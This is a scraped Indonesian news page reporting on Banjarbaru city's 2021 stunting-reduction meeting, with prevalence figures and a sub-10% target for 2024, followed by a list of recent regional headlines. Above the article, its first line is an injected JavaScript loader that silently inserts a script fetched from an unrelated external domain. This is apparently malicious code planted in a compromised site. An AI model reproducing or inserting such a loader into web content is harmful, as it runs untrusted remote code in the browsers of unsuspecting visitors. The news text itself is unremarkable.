(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Banjarbaru Target Penurunan Angka Stunting Hingga 10% di 2024Â


KANALKALIMANTAN.COM, BANJARBARU – Mengurangi angka stunting di Kota Banjarbaru, Pemerintah Kota (Pemko) Banjarbaru gelar rembuk stunting tahun 2021 “Kita Turunkan Angka Stunting Dengan Mari Basingsing (Banjarbaru Singkirkan Stunting)”.

Rembuk stunting dipimpin Wali Kota Banjarbaru, Aditya Mufti Ariffin didampingi Wakil Wakil Wali Kota Banjarbaru, Wartono dan Sekretaris Daerah Kota Banjarbaru, Drs H Said Abdullah MSi, Kamis (2/9/2021).

Tampak Ketua PKK Kota Banjarbaru, Kepala SKPD, Camat se Kota Banjarbaru, Ketua Forum Kota Sehat Kota Banjarbaru, Koordinator Kota Tanpa Kumuh (KOTAKU) Kota Banjarbaru, Ketua LPM dan Ketua Forum RT/RW Kota Banjarbaru.

 

 

Wali Kota Aditya menerangkan bahwa rembuk stunting merupakan salah satu dari 8 aksi integrasi pencegahan dan penanggulangan stunting yang telah ditetapkan oleh Kementerian Dalam Negeri Republik Indonesia. Rembuk stunting dilakukan setelah pemerintah kota memperoleh hasil analisis situasi (aksi 1) dan memiliki rancangan rencana kegiatan (aksi 2) penurunan stunting terintegrasi.

Baca juga: Dibiarkan ‘Tumbuh Liar’ di Jalan, Pedagang di Dalam Pasar Pondok Mangga Berkurang

“Pemerintah Kota Banjarbaru secara bersama-sama akan melakukan konfirmasi, sinkronisasi, dan sinergisme hasil analisis situasi dan rancangan rencana kegiatan dari SKPD penanggunjawab layanan dengan hasil perencanaan partisipatif masyarakat yang dilaksanakan melalui musrenbang kelurahan dan kecamatan,’’ ucapnya.

Menurut Aditya penurunan stunting di Kota Banjarbaru sudah cukup baik, dari tahun 2018 sebesar 39,73% yang merupakan prevalensi stunting paling tinggi se Kalimantan Selatan, di tahun 2019 mengalami penurunan sebesar 18,08% dan kembali turun pada tahun 2020 menjadi 14,19% yang dicatat melalui elektronik pencatatan dan pelaporan gizi berbasis masyarakat (e-ppgbm). Angka penurunan itu sesuai dengan target yang telah ditetapkan dalam dokumen Rencana Pembangunan Jangka Menengah Daerah (RPJMD) Kota Banjarbaru tahun 2021-2026. Pemerintah Kota Banjarbaru pada tahun 2024 menargetkan penurunan di bawah 10%, dimana target nasional pada tahun 2024 adalah 14%.

“Saya mengharapkan acara rembuk stunting pada hari ini berjalan lancar dan dapat menghasilkan sesuatu yang bermanfaat bagi proses percepatan penanggulangan stunting di Kota Banjarbaru,” tutupnya. (kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.